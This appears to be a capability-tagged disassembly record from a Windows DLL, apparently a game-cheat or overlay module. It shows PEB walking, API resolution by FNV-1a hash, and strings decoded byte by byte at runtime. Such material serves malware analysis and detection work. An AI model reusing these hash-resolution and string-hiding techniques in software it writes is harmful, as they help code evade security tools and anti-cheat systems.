Function at 0x18001b170
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [0x1805e3388]
test rax, rax
jne 0x18001b247
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b228
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b228
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x42b34b0c
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b223
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b200
cmp edx, 0x33f6012d
je 0x18001b7cd
test r8d, r8d
jne 0x18001b1e0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b23e
cmp qword [rax + 0x30], 0
jne 0x18001b1b0
xor eax, eax
mov qword [0x1805e3388], rax
lea rdx, str.JUJli7cS5XDvNWXK73wL
lea rcx, str.egRwjNqAcjf5htkYRWck
call rax
test eax, eax
jne 0x18001b891
mov rax, qword [0x1805e47f0]
test rax, rax
jne 0x18001b327
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b308
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b308
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xb57d563c
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b303
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b2e0
cmp edx, 0x84e4b85d
je 0x18001b7e9
test r8d, r8d
jne 0x18001b2c0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b31e
cmp qword [rax + 0x30], 0
jne 0x18001b290
xor eax, eax
mov qword [0x1805e47f0], rax
lea rdx, str.STbLFcZusLSqLZBzQZVn
lea rcx, str.egRwjNqAcjf5htkYRWck
call rax
test eax, eax
jne 0x18001b896
mov rax, qword [0x1805e3398]
test rax, rax
jne 0x18001b407
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b3e8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b3e8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x47f11d7c
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b3e3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b3c0
cmp edx, 0xdc1eb29d
je 0x18001b805
test r8d, r8d
jne 0x18001b3a0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b3fe
cmp qword [rax + 0x30], 0
jne 0x18001b370
xor eax, eax
mov qword [0x1805e3398], rax
lea rdx, str.STbLFcZusLSqLZBzQZVn
lea rcx, str.JUJli7cS5XDvNWXK73wL
call rax
test eax, eax
jne 0x18001b896
mov rax, qword [0x1805e3358]
test rax, rax
jne 0x18001b4e7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b4c8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b4c8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xa56d22dd
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b4c3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b4a0
cmp edx, 0x775cf84f
je 0x18001b821
test r8d, r8d
jne 0x18001b480
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b4de
cmp qword [rax + 0x30], 0
jne 0x18001b450
xor eax, eax
mov qword [0x1805e3358], rax
lea rcx, str.egRwjNqAcjf5htkYRWck
call rax
movsxd rcx, dword [0x1801f7020]
cmp rax, rcx
jne 0x18001b896
mov rax, qword [0x1805e3378]
test rax, rax
jne 0x18001b5c7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b5a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b5a8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xf2603928
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b5a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b580
cmp edx, 0x19891a76
je 0x18001b83d
test r8d, r8d
jne 0x18001b560
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b5be
cmp qword [rax + 0x30], 0
jne 0x18001b530
xor eax, eax
mov qword [0x1805e3378], rax
lea rcx, str.JUJli7cS5XDvNWXK73wL
call rax
movsxd rcx, dword [0x1801f7020]
cmp rax, rcx
jne 0x18001b896
mov rax, qword [0x1805e47e8]
test rax, rax
jne 0x18001b6a7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b688
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b688
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x79a52f10
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001b683
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x18001b660
cmp edx, 0x573aef7e
je 0x18001b859
test r8d, r8d
jne 0x18001b640
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b69e
cmp qword [rax + 0x30], 0
jne 0x18001b610
xor eax, eax
mov qword [0x1805e47e8], rax
lea rcx, str.STbLFcZusLSqLZBzQZVn
call rax
movsxd rcx, dword [0x1801f7020]
cmp rax, rcx
jne 0x18001b896
mov rax, qword [0x1805e3380]
test rax, rax
jne 0x18001b787
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001b768
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001b768
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x292985f0
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x18001b763
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x18001b740
cmp edx, 0x5d91b5e
je 0x18001b875
test r8d, r8d
jne 0x18001b720
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18001b77e
cmp qword [rax + 0x30], 0
jne 0x18001b6f0
xor eax, eax
mov qword [0x1805e3380], rax
lea rcx, str.BVsfXHcHW2921NrKQsvf
call rax
movsxd rcx, dword [0x1801f69d0]
cmp rax, rcx
jne 0x18001b896
mov rcx, qword [0x1805e5bb0]
call fcn.180052cc0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x18001b896
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1800c8b40
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b240
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b320
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b400
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b4e0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b5c0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b6a0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18001b780
call fcn.1800c6320
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x53f0]
mov eax, 0x54f0
call fcn.180156250
sub rsp, rax
movaps xmmword [rsp + 0x54e0], xmm6
movaps xmmword [rsp + 0x54d0], xmm7
movaps xmmword [rsp + 0x54c0], xmm8
movaps xmmword [rsp + 0x54b0], xmm9
movaps xmmword [rsp + 0x54a0], xmm10
movaps xmmword [rsp + 0x5490], xmm11
movaps xmmword [rsp + 0x5480], xmm12
movaps xmmword [rsp + 0x5470], xmm13
movaps xmmword [rsp + 0x5460], xmm14
movaps xmmword [rsp + 0x5450], xmm15
mov rax, qword [0x1801f5b80]
xor rax, rsp
mov qword [rbp + 0x5340], rax
xor ebx, ebx
mov dword [rbp - 0x78], ebx
mov dword [rsp + 0x5c], ebx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x5c], ebx
mov dword [rsp + 0x5c], ebx
mov dword [rsp + 0x5c], ebx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x70], ebx
xor eax, eax
mov byte [rbp - 0x50], al
lea rdx, [rbp - 0x50]
lea rcx, [0x1805e4d70]
call fcn.1800ed860
call fcn.1800aa030
xorps xmm15, xmm15
mov qword [rbp + 0x11b8], rbx
lea rdx, [rbp + 0x11b8]
lea ecx, [rbx + 2]
call fcn.180069760
xorps xmm1, xmm1
lea ecx, [rbx + 4]
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov eax, reloc.WS2_32.dll_select
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x46d8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rbx + 3]
call fcn.180069630
mov dword [rsp + 0x68], 0x4b704671
mov dword [rsp + 0x6c], 0x23464742
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11c0], rax
lea rcx, [rbp + 0x1278]
call fcn.180011f00
mov dword [rbp - 0x78], 0x400
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp + 0x1278]
call fcn.180014330
mov esi, ebx
mov edi, ebx
cmp rdi, 8
jae 0x1800ec320
movzx ebx, byte [rbp + rdi + 0x11c0]
xor bl, 0x23
movsxd rdx, esi
lea rcx, [rbp + 0x1278]
call fcn.180014c80
mov byte [rax], bl
inc esi
inc rdi
cmp esi, 8
jl 0x1800c8cb3
lea rcx, [rbp + 0x1278]
call fcn.1800143e0
xor edx, edx
lea r8d, [rdx + 0x23]
mov rcx, rax
call fcn.180072e70
nop
lea rcx, [rbp + 0x1278]
call fcn.180011f20
lea rcx, [rbp + 0x40b0]
call fcn.180076f00
movss xmm2, dword [rax + 4]
movss xmm8, dword [0x1801ce7e0]
movaps xmm1, xmm8
lea rcx, [rbp + 0x40b8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x2d0], rax
mov word [rbp + 0x2d8], ax
mov byte [rbp + 0x2da], al
mov cl, 0x23
call fcn.1800ed7c0
mov byte [rsp + 0x7e], al
mov cl, 0x23
call fcn.1800ed7c0
mov byte [rsp + 0x7d], al
mov cl, 0x6c
call fcn.1800ed7c0
mov byte [rsp + 0x7b], al
mov cl, 0x65
call fcn.1800ed7c0
movzx r13d, al
mov cl, 0x66
call fcn.1800ed7c0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7c0
movzx r15d, al
mov cl, 0x5f
call fcn.1800ed7c0
movzx r14d, al
mov cl, 0x62
call fcn.1800ed7c0
movzx esi, al
mov cl, 0x61
call fcn.1800ed7c0
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed7c0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7c0
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0x2d0], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0x2d1], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0x2d2], cl
mov byte [rbp + 0x2d3], r13b
mov byte [rbp + 0x2d4], r12b
mov byte [rbp + 0x2d5], r15b
mov byte [rbp + 0x2d6], r14b
mov byte [rbp + 0x2d7], sil
mov byte [rbp + 0x2d8], dil
mov byte [rbp + 0x2d9], bl
mov byte [rbp + 0x2da], al
lea rcx, [rbp + 0x1298]
call fcn.180011f00
mov dword [rbp - 0x78], 0x800
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x1298]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2d0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800ed7c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1298]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c8e50
lea rcx, [rbp + 0x1298]
call fcn.1800143e0
lea r9d, [rsi + 0x18]
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1298]
call fcn.180011f20
lea rcx, [rbp + 0x4b88]
call fcn.180076b80
call fcn.180075c00
mov r15, rax
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x40c0]
call fcn.180076f00
movss xmm0, dword [rax]
movss xmm9, dword [0x1801ce58c]
mulss xmm0, xmm9
subss xmm0, dword [0x1801ce774]
call fcn.180076bd0
movss xmm13, dword [0x1801ce788]
movaps xmm0, xmm13
call fcn.180076c20
movss dword [rsp + 0x20], xmm15
movaps xmm3, xmm15
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x46e8]
call fcn.180011e20
mov r14, rax
movss xmm6, dword [0x1801ce5d0]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x46f8]
call fcn.180011e20
mov rsi, rax
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x40c8]
call fcn.180011e10
mov rdi, rax
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x40d0]
call fcn.180011e10
mov rbx, rax
movss xmm0, dword [0x1801ce7a8]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x40d8]
call fcn.180011e10
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x1805e4a08]
call fcn.180095990
mov rcx, qword [0x1805e4a28]
call fcn.180075760
movss xmm6, dword [0x1801ce7c8]
movss xmm7, dword [0x1801ce770]
cmp dword [0x1805e4f5c], 0
jne 0x1800c91ec
mov eax, dword [0x1805e4f18]
mov dword [rsp + 0x20], eax
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4708]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce81c]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x40e0]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce7f0]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x40e8]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss xmm10, dword [0x1801ce744]
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
xor eax, eax
mov dword [rbp + 0xa8], eax
mov word [rbp + 0xac], ax
mov byte [rbp + 0xae], al
mov cl, 0x50
call fcn.1800568e0
movzx r12d, al
mov cl, 0x6c
call fcn.1800568e0
movzx r15d, al
mov cl, 0x61
call fcn.1800568e0
movzx r14d, al
mov cl, 0x79
call fcn.1800568e0
movzx esi, al
mov cl, 0x65
call fcn.1800568e0
movzx edi, al
mov cl, WSAStartup
call fcn.1800568e0
movzx ebx, al
xor ecx, ecx
call fcn.1800568e0
mov byte [rbp + 0xa8], r12b
mov byte [rbp + 0xa9], r15b
mov byte [rbp + 0xaa], r14b
mov byte [rbp + 0xab], sil
mov byte [rbp + 0xac], dil
mov byte [rbp + 0xad], bl
mov byte [rbp + 0xae], al
lea rcx, [rbp + 0x12b8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x800000
xor r8d, r8d
mov r14d, 7
mov edx, r14d
lea rcx, [rbp + 0x12b8]
call fcn.180014330
mov rdi, r13
mov esi, r14d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xa8]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800568e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x12b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c9140
lea rcx, [rbp + 0x12b8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x12b8]
call fcn.180011f20
mov r10d, r13d
mov dword [0x1805e4f24], r13d
mov r8d, r13d
mov dword [0x1805e4f10], r13d
mov edx, r13d
mov dword [0x1805e4f1c], edx
mov ecx, r13d
mov dword [0x1805e4f20], ecx
mov eax, r13d
mov dword [0x1805e4f14], eax
mov r9d, dword [0x1805e4f18]
mov r15, qword [rbp - 0x80]
cmp r9d, 0xc8
jg 0x1800c9215
add r9d, 2
mov dword [0x1805e4f18], r9d
jmp 0x1800c9215
mov r10d, dword [0x1805e4f24]
mov r8d, dword [0x1805e4f10]
mov edx, dword [0x1805e4f1c]
mov ecx, dword [0x1805e4f20]
mov eax, dword [0x1805e4f14]
movss xmm10, dword [0x1801ce744]
cmp dword [0x1805e4f5c], 1
jne 0x1800c9405
mov dword [rsp + 0x20], r10d
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4718]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce83c]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x40f0]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce82c]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x40f8]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
xor eax, eax
mov qword [rbp + 0x11b0], rax
mov cl, 0x56
call fcn.1800149a0
mov byte [rsp + 0x68], al
mov cl, 0x69
call fcn.1800149a0
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x6a], al
mov cl, 0x75
call fcn.1800149a0
mov byte [rsp + 0x6b], al
mov cl, 0x61
call fcn.1800149a0
mov byte [rsp + 0x6c], al
mov cl, 0x6c
call fcn.1800149a0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800149a0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11b0], rax
lea rcx, [rbp + 0x12d8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x1000000
xor r8d, r8d
mov r14d, 8
mov edx, r14d
lea rcx, [rbp + 0x12d8]
call fcn.180014330
mov rdi, r13
mov esi, r14d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11b0]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x12d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c9360
lea rcx, [rbp + 0x12d8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x12d8]
call fcn.180011f20
mov dword [0x1805e4f18], r13d
mov r8d, r13d
mov dword [0x1805e4f10], r13d
mov edx, r13d
mov dword [0x1805e4f1c], edx
mov ecx, r13d
mov dword [0x1805e4f20], ecx
mov eax, r13d
mov dword [0x1805e4f14], eax
mov r9d, dword [0x1805e4f24]
cmp r9d, 0xc8
jg 0x1800c940b
add r9d, 2
mov dword [0x1805e4f24], r9d
jmp 0x1800c940b
mov r14d, 8
movss xmm14, dword [0x1801ce848]
cmp dword [0x1805e4f5c], 2
jne 0x1800c95f0
mov dword [rsp + 0x20], r8d
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4728]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce850]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x4100]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, xmm14
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x4108]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
xor eax, eax
mov qword [rbp + 0x11a8], rax
mov cl, 0x57
call fcn.1800ed7f0
mov byte [rsp + 0x68], al
mov cl, 0x65
call fcn.1800ed7f0
mov byte [rsp + 0x69], al
mov cl, 0x61
call fcn.1800ed7f0
mov byte [rsp + 0x6a], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed7f0
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7f0
mov byte [rsp + 0x6c], al
mov cl, WSAGetLastError
call fcn.1800ed7f0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed7f0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800ed7f0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11a8], rax
lea rcx, [rbp + 0x12f8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x100000
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x12f8]
call fcn.180014330
mov rdi, r13
mov rsi, r14
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x11a8]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800ed7f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x12f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c9550
lea rcx, [rbp + 0x12f8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x12f8]
call fcn.180011f20
mov dword [0x1805e4f18], r13d
mov dword [0x1805e4f24], r13d
mov edx, r13d
mov dword [0x1805e4f1c], edx
mov ecx, r13d
mov dword [0x1805e4f20], ecx
mov eax, r13d
mov dword [0x1805e4f14], eax
mov r8d, dword [0x1805e4f10]
cmp r8d, 0xc8
jg 0x1800c95f0
add r8d, 2
mov dword [0x1805e4f10], r8d
cmp dword [0x1805e4f5c], 3
jne 0x1800c979a
mov dword [rsp + 0x20], edx
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4738]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce860]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x4110]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce854]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x4118]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
xor eax, eax
mov dword [rbp + 0x1158], eax
mov cl, 0x43
call fcn.180056b50
mov byte [rsp + 0x70], al
mov cl, 0x61
call fcn.180056b50
mov byte [rsp + 0x71], al
mov cl, WSAStartup
call fcn.180056b50
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056b50
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1158], eax
lea rcx, [rbp + 0x1318]
call fcn.180011f00
mov dword [rbp - 0x78], 0x200000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x1318]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x1158]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056b50
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1318]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c9700
lea rcx, [rbp + 0x1318]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x1318]
call fcn.180011f20
mov dword [0x1805e4f18], r13d
mov dword [0x1805e4f24], r13d
mov dword [0x1805e4f10], r13d
mov ecx, r13d
mov dword [0x1805e4f20], ecx
mov eax, r13d
mov dword [0x1805e4f14], eax
mov edx, dword [0x1805e4f1c]
cmp edx, 0xc8
jg 0x1800c979a
add edx, 2
mov dword [0x1805e4f1c], edx
mov r12d, 5
cmp dword [0x1805e4f5c], 4
jne 0x1800c9955
mov dword [rsp + 0x20], ecx
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
